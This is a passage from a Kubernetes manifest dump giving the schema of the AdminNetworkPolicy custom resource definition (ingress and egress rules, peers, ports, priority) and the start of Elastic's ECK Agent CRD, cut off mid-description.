                              x-kubernetes-map-type: atomic
                            pods:
                              description: |-
                                Pods defines a way to select a set of pods in
                                a set of namespaces. Note that host-networked pods
                                are not included in this type of peer.


                                Support: Core
                              properties:
                                namespaceSelector:
                                  description: |-
                                    NamespaceSelector follows standard label selector semantics; if empty,
                                    it selects all Namespaces.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                                podSelector:
                                  description: |-
                                    PodSelector is used to explicitly select pods within a namespace; if empty,
                                    it selects all Pods.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                              required:
                              - namespaceSelector
                              - podSelector
                              type: object
                          type: object
                        maxItems: 100
                        minItems: 1
                        type: array
                    required:
                    - action
                    - to
                    type: object
                    x-kubernetes-validations:
                    - message: networks/nodes peer cannot be set with namedPorts since
                        there are no namedPorts for networks/nodes
                      rule: '!(self.to.exists(peer, has(peer.networks) || has(peer.nodes))
                        && has(self.ports) && self.ports.exists(port, has(port.namedPort)))'
                  maxItems: 100
                  type: array
                ingress:
                  description: |-
                    Ingress is the list of Ingress rules to be applied to the selected pods.
                    A total of 100 rules will be allowed in each ANP instance.
                    The relative precedence of ingress rules within a single ANP object (all of
                    which share the priority) will be determined by the order in which the rule
                    is written. Thus, a rule that appears at the top of the ingress rules
                    would take the highest precedence.
                    ANPs with no ingress rules do not affect ingress traffic.


                    Support: Core
                  items:
                    description: |-
                      AdminNetworkPolicyIngressRule describes an action to take on a particular
                      set of traffic destined for pods selected by an AdminNetworkPolicy's
                      Subject field.
                    properties:
                      action:
                        description: |-
                          Action specifies the effect this rule will have on matching traffic.
                          Currently the following actions are supported:
                          Allow: allows the selected traffic (even if it would otherwise have been denied by NetworkPolicy)
                          Deny: denies the selected traffic
                          Pass: instructs the selected traffic to skip any remaining ANP rules, and
                          then pass execution to any NetworkPolicies that select the pod.
                          If the pod is not selected by any NetworkPolicies then execution
                          is passed to any BaselineAdminNetworkPolicies that select the pod.


                          Support: Core
                        enum:
                        - Allow
                        - Deny
                        - Pass
                        type: string
                      from:
                        description: |-
                          From is the list of sources whose traffic this rule applies to.
                          If any AdminNetworkPolicyIngressPeer matches the source of incoming
                          traffic then the specified action is applied.
                          This field must be defined and contain at least one item.


                          Support: Core
                        items:
                          description: |-
                            AdminNetworkPolicyIngressPeer defines an in-cluster peer to allow traffic from.
                            Exactly one of the selector pointers must be set for a given peer. If a
                            consumer observes none of its fields are set, they must assume an unknown
                            option has been specified and fail closed.
                          maxProperties: 1
                          minProperties: 1
                          properties:
                            namespaces:
                              description: |-
                                Namespaces defines a way to select all pods within a set of Namespaces.
                                Note that host-networked pods are not included in this type of peer.


                                Support: Core
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
                              x-kubernetes-map-type: atomic
                            pods:
                              description: |-
                                Pods defines a way to select a set of pods in
                                a set of namespaces. Note that host-networked pods
                                are not included in this type of peer.


                                Support: Core
                              properties:
                                namespaceSelector:
                                  description: |-
                                    NamespaceSelector follows standard label selector semantics; if empty,
                                    it selects all Namespaces.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                                podSelector:
                                  description: |-
                                    PodSelector is used to explicitly select pods within a namespace; if empty,
                                    it selects all Pods.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                              required:
                              - namespaceSelector
                              - podSelector
                              type: object
                          type: object
                        maxItems: 100
                        minItems: 1
                        type: array
                      name:
                        description: |-
                          Name is an identifier for this rule, that may be no more than 100 characters
                          in length. This field should be used by the implementation to help
                          improve observability, readability and error-reporting for any applied
                          AdminNetworkPolicies.


                          Support: Core
                        maxLength: 100
                        type: string
                      ports:
                        description: |-
                          Ports allows for matching traffic based on port and protocols.
                          This field is a list of ports which should be matched on
                          the pods selected for this policy i.e the subject of the policy.
                          So it matches on the destination port for the ingress traffic.
                          If Ports is not set then the rule does not filter traffic via port.


                          Support: Core
                        items:
                          description: |-
                            AdminNetworkPolicyPort describes how to select network ports on pod(s).
                            Exactly one field must be set.
                          maxProperties: 1
                          minProperties: 1
                          properties:
                            namedPort:
                              description: |-
                                NamedPort selects a port on a pod(s) based on name.


                                Support: Extended


                                <network-policy-api:experimental>
                              type: string
                            portNumber:
                              description: |-
                                Port selects a port on a pod(s) based on number.


                                Support: Core
                              properties:
                                port:
                                  description: |-
                                    Number defines a network port value.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                                protocol:
                                  default: TCP
                                  description: |-
                                    Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must
                                    match. If not specified, this field defaults to TCP.


                                    Support: Core
                                  type: string
                              required:
                              - port
                              - protocol
                              type: object
                            portRange:
                              description: |-
                                PortRange selects a port range on a pod(s) based on provided start and end
                                values.


                                Support: Core
                              properties:
                                end:
                                  description: |-
                                    End defines a network port that is the end of a port range, the End value
                                    must be greater than Start.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                                protocol:
                                  default: TCP
                                  description: |-
                                    Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must
                                    match. If not specified, this field defaults to TCP.


                                    Support: Core
                                  type: string
                                start:
                                  description: |-
                                    Start defines a network port that is the start of a port range, the Start
                                    value must be less than End.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                              required:
                              - end
                              - start
                              type: object
                          type: object
                        maxItems: 100
                        type: array
                    required:
                    - action
                    - from
                    type: object
                  maxItems: 100
                  type: array
                priority:
                  description: |-
                    Priority is a value from 0 to 1000. Rules with lower priority values have
                    higher precedence, and are checked before rules with higher priority values.
                    All AdminNetworkPolicy rules have higher precedence than NetworkPolicy or
                    BaselineAdminNetworkPolicy rules
                    The behavior is undefined if two ANP objects have same priority.


                    Support: Core
                  format: int32
                  maximum: 1000
                  minimum: 0
                  type: integer
                subject:
                  description: |-
                    Subject defines the pods to which this AdminNetworkPolicy applies.
                    Note that host-networked pods are not included in subject selection.


                    Support: Core
                  maxProperties: 1
                  minProperties: 1
                  properties:
                    namespaces:
                      description: Namespaces is used to select pods via namespace
                        selectors.
                      properties:
                        matchExpressions:
                          description: matchExpressions is a list of label selector
                            requirements. The requirements are ANDed.
                          items:
                            description: |-
                              A label selector requirement is a selector that contains values, a key, and an operator that
                              relates the key and values.
                            properties:
                              key:
                                description: key is the label key that the selector
                                  applies to.
                                type: string
                              operator:
                                description: |-
                                  operator represents a key's relationship to a set of values.
                                  Valid operators are In, NotIn, Exists and DoesNotExist.
                                type: string
                              values:
                                description: |-
                                  values is an array of string values. If the operator is In or NotIn,
                                  the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                  the values array must be empty. This array is replaced during a strategic
                                  merge patch.
                                items:
                                  type: string
                                type: array
                            required:
                            - key
                            - operator
                            type: object
                          type: array
                        matchLabels:
                          additionalProperties:
                            type: string
                          description: |-
                            matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                            map is equivalent to an element of matchExpressions, whose key field is "key", the
                            operator is "In", and the values array contains only "value". The requirements are ANDed.
                          type: object
                      type: object
                      x-kubernetes-map-type: atomic
                    pods:
                      description: Pods is used to select pods via namespace AND pod
                        selectors.
                      properties:
                        namespaceSelector:
                          description: |-
                            NamespaceSelector follows standard label selector semantics; if empty,
                            it selects all Namespaces.
                          properties:
                            matchExpressions:
                              description: matchExpressions is a list of label selector
                                requirements. The requirements are ANDed.
                              items:
                                description: |-
                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                  relates the key and values.
                                properties:
                                  key:
                                    description: key is the label key that the selector
                                      applies to.
                                    type: string
                                  operator:
                                    description: |-
                                      operator represents a key's relationship to a set of values.
                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                    type: string
                                  values:
                                    description: |-
                                      values is an array of string values. If the operator is In or NotIn,
                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                      the values array must be empty. This array is replaced during a strategic
                                      merge patch.
                                    items:
                                      type: string
                                    type: array
                                required:
                                - key
                                - operator
                                type: object
                              type: array
                            matchLabels:
                              additionalProperties:
                                type: string
                              description: |-
                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                              type: object
                          type: object
                          x-kubernetes-map-type: atomic
                        podSelector:
                          description: |-
                            PodSelector is used to explicitly select pods within a namespace; if empty,
                            it selects all Pods.
                          properties:
                            matchExpressions:
                              description: matchExpressions is a list of label selector
                                requirements. The requirements are ANDed.
                              items:
                                description: |-
                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                  relates the key and values.
                                properties:
                                  key:
                                    description: key is the label key that the selector
                                      applies to.
                                    type: string
                                  operator:
                                    description: |-
                                      operator represents a key's relationship to a set of values.
                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                    type: string
                                  values:
                                    description: |-
                                      values is an array of string values. If the operator is In or NotIn,
                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                      the values array must be empty. This array is replaced during a strategic
                                      merge patch.
                                    items:
                                      type: string
                                    type: array
                                required:
                                - key
                                - operator
                                type: object
                              type: array
                            matchLabels:
                              additionalProperties:
                                type: string
                              description: |-
                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                              type: object
                          type: object
                          x-kubernetes-map-type: atomic
                      required:
                      - namespaceSelector
                      - podSelector
                      type: object
                  type: object
              required:
              - priority
              - subject
              type: object
            status:
              description: Status is the status to be reported by the implementation.
              properties:
                conditions:
                  items:
                    description: "Condition contains details for one aspect of the
                      current state of this API Resource.\n---\nThis struct is intended
                      for direct use as an array at the field path .status.conditions.
                      \ For example,\n\n\n\ttype FooStatus struct{\n\t    // Represents
                      the observations of a foo's current state.\n\t    // Known .status.conditions.type
                      are: \"Available\", \"Progressing\", and \"Degraded\"\n\t    //
                      +patchMergeKey=type\n\t    // +patchStrategy=merge\n\t    //
                      +listType=map\n\t    // +listMapKey=type\n\t    Conditions []metav1.Condition
                      `json:\"conditions,omitempty\" patchStrategy:\"merge\" patchMergeKey:\"type\"
                      protobuf:\"bytes,1,rep,name=conditions\"`\n\n\n\t    // other
                      fields\n\t}"
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: |-
                          type of condition in CamelCase or in foo.example.com/CamelCase.
                          ---
                          Many .condition.type values are consistent across resources like Available, but because arbitrary conditions can be
                          useful (see .node.status.conditions), the ability to deconflict is important.
                          The regex it matches is (dns1123SubdomainFmt/)?(qualifiedNameFmt)
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              required:
              - conditions
              type: object
          required:
          - metadata
          - spec
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: AdminNetworkPolicy
      listKind: AdminNetworkPolicyList
      plural: adminnetworkpolicies
      shortNames:
      - anp
      singular: adminnetworkpolicy
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: approved in https://github.com/kubernetes-sigs/network-policy-api/pull/30
      reason: ApprovedAnnotation
      status: "True"
      type: KubernetesAPIApprovalPolicyConformant
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"agents.agent.k8s.elastic.co"},"spec":{"group":"agent.k8s.elastic.co","names":{"categories":["elastic"],"kind":"Agent","listKind":"AgentList","plural":"agents","shortNames":["agent"],"singular":"agent"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"available","type":"integer"},{"description":"Expected nodes","jsonPath":".status.expectedNodes","name":"expected","type":"integer"},{"description":"Agent version","jsonPath":".status.version","name":"version","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"Agent is the Schema for the Agents API.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"AgentSpec defines the desired state of the Agent","properties":{"config":{"description":"Config holds the Agent configuration. At most one of [`Config`, `ConfigRef`] can be specified.","type":"object","x-kubernetes-preserve-unknown-fields":true},"configRef":{"description":"ConfigRef contains a reference to an existing Kubernetes Secret holding the Agent configuration.\nAgent settings must be specified as yaml, under a single \"agent.yml\" entry. At most one of [`Config`, `ConfigRef`]\ncan be specified.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"daemonSet":{"description":"DaemonSet specifies the Agent should be deployed as a DaemonSet, and allows providing its spec.\nCannot be used along with `deployment` or `statefulSet`.","properties":{"podTemplate":{"description":"PodTemplateSpec describes the data a pod should have when created from a template","type":"object","x-kubernetes-preserve-unknown-fields":true},"updateStrategy":{"description":"DaemonSetUpdateStrategy is a struct used to control the update strategy for a DaemonSet.","properties":{"rollingUpdate":{"description":"Rolling update config params. Present only if type = \"RollingUpdate\".\n---\nTODO: Update this to follow our convention for oneOf, whatever we decide it\nto be. Same as Deployment `strategy.rollingUpdate`.\nSee https://github.com/kubernetes/kubernetes/issues/35345","properties":{"maxSurge":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"The maximum number of nodes with an existing available DaemonSet pod that\ncan have an updated DaemonSet pod during during an update.\nValue can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).\nThis can not be 0 if MaxUnavailable is 0.\nAbsolute number is calculated from percentage by rounding up to a minimum of 1.\nDefault value is 0.\nExample: when this is set to 30%, at most 30% of the total number of nodes\nthat should be running the daemon pod (i.e. status.desiredNumberScheduled)\ncan have their a new pod created before the old pod is marked as deleted.\nThe update starts by launching new pods on 30% of nodes. Once an updated\npod is available (Ready for at least minReadySeconds) the old DaemonSet pod\non that node is marked deleted. If the old pod becomes unavailable for any\nreason (Ready transitions to false, is evicted, or is drained) an updated\npod is immediatedly created on that node without considering surge limits.\nAllowing surge implies the possibility that the resources consumed by the\ndaemonset on any given node can double if the readiness check fails, and\nso resource intensive daemonsets should take into account that they may\ncause evictions during disruption.","x-kubernetes-int-or-string":true},"maxUnavailable":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"The maximum number of DaemonSet pods that can be unavailable during the\nupdate. Value can be an absolute number (ex: 5) or a percentage of total\nnumber of DaemonSet pods at the start of the update (ex: 10%). Absolute\nnumber is calculated from percentage by rounding up.\nThis cannot be 0 if MaxSurge is 0\nDefault value is 1.\nExample: when this is set to 30%, at most 30% of the total number of nodes\nthat should be running the daemon pod (i.e. status.desiredNumberScheduled)\ncan have their pods stopped for an update at any given time. The update\nstarts by stopping at most 30% of those DaemonSet pods and then brings\nup new DaemonSet pods in their place. Once the new pods are available,\nit then proceeds onto other DaemonSet pods, thus ensuring that at least\n70% of original number of DaemonSet pods are available at all times during\nthe update.","x-kubernetes-int-or-string":true}},"type":"object"},"type":{"description":"Type of daemon set update. Can be \"RollingUpdate\" or \"OnDelete\". Default is RollingUpdate.","type":"string"}},"type":"object"}},"type":"object"},"deployment":{"description":"Deployment specifies the Agent should be deployed as a Deployment, and allows providing its spec.\nCannot be used along with `daemonSet` or `statefulSet`.","properties":{"podTemplate":{"description":"PodTemplateSpec describes the data a pod should have when created from a template","type":"object","x-kubernetes-preserve-unknown-fields":true},"replicas":{"format":"int32","type":"integer"},"strategy":{"description":"DeploymentStrategy describes how to replace existing pods with new ones.","properties":{"rollingUpdate":{"description":"Rolling update config params. Present only if DeploymentStrategyType =\nRollingUpdate.\n---\nTODO: Update this to follow our convention for oneOf, whatever we decide it\nto be.","properties":{"maxSurge":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"The maximum number of pods that can be scheduled above the desired number of\npods.\nValue can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).\nThis can not be 0 if MaxUnavailable is 0.\nAbsolute number is calculated from percentage by rounding up.\nDefaults to 25%.\nExample: when this is set to 30%, the new ReplicaSet can be scaled up immediately when\nthe rolling update starts, such that the total number of old and new pods do not exceed\n130% of desired pods. Once old pods have been killed,\nnew ReplicaSet can be scaled up further, ensuring that total number of pods running\nat any time during the update is at most 130% of desired pods.","x-kubernetes-int-or-string":true},"maxUnavailable":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"The maximum number of pods that can be unavailable during the update.\nValue can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).\nAbsolute number is calculated from percentage by rounding down.\nThis can not be 0 if MaxSurge is 0.\nDefaults to 25%.\nExample: when this is set to 30%, the old ReplicaSet can be scaled down to 70% of desired pods\nimmediately when the rolling update starts. Once new pods are ready, old ReplicaSet\ncan be scaled down further, followed by scaling up the new ReplicaSet, ensuring\nthat the total number of pods available at all times during the update is at\nleast 70% of desired pods.","x-kubernetes-int-or-string":true}},"type":"object"},"type":{"description":"Type of deployment. Can be \"Recreate\" or \"RollingUpdate\". Default is RollingUpdate.","type":"string"}},"type":"object"}},"type":"object"},"elasticsearchRefs":{"description":"ElasticsearchRefs is a reference to a list of Elasticsearch clusters running in the same Kubernetes cluster.\nDue to existing limitations, only a single ES cluster is currently supported.","items":{"properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"outputName":{"type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"},"fleetServerEnabled":{"description":"FleetServerEnabled determines whether this Agent will launch Fleet Server. Don't set unless `mode` is set to `fleet`.","type":"boolean"},"fleetServerRef":{"description":"FleetServerRef is a reference to Fleet Server that this Agent should connect to to obtain it's configuration.\nDon't set unless `mode` is set to `fleet`.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"http":{"description":"HTTP holds the HTTP layer configuration for the Agent in Fleet mode with Fleet Server enabled.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: 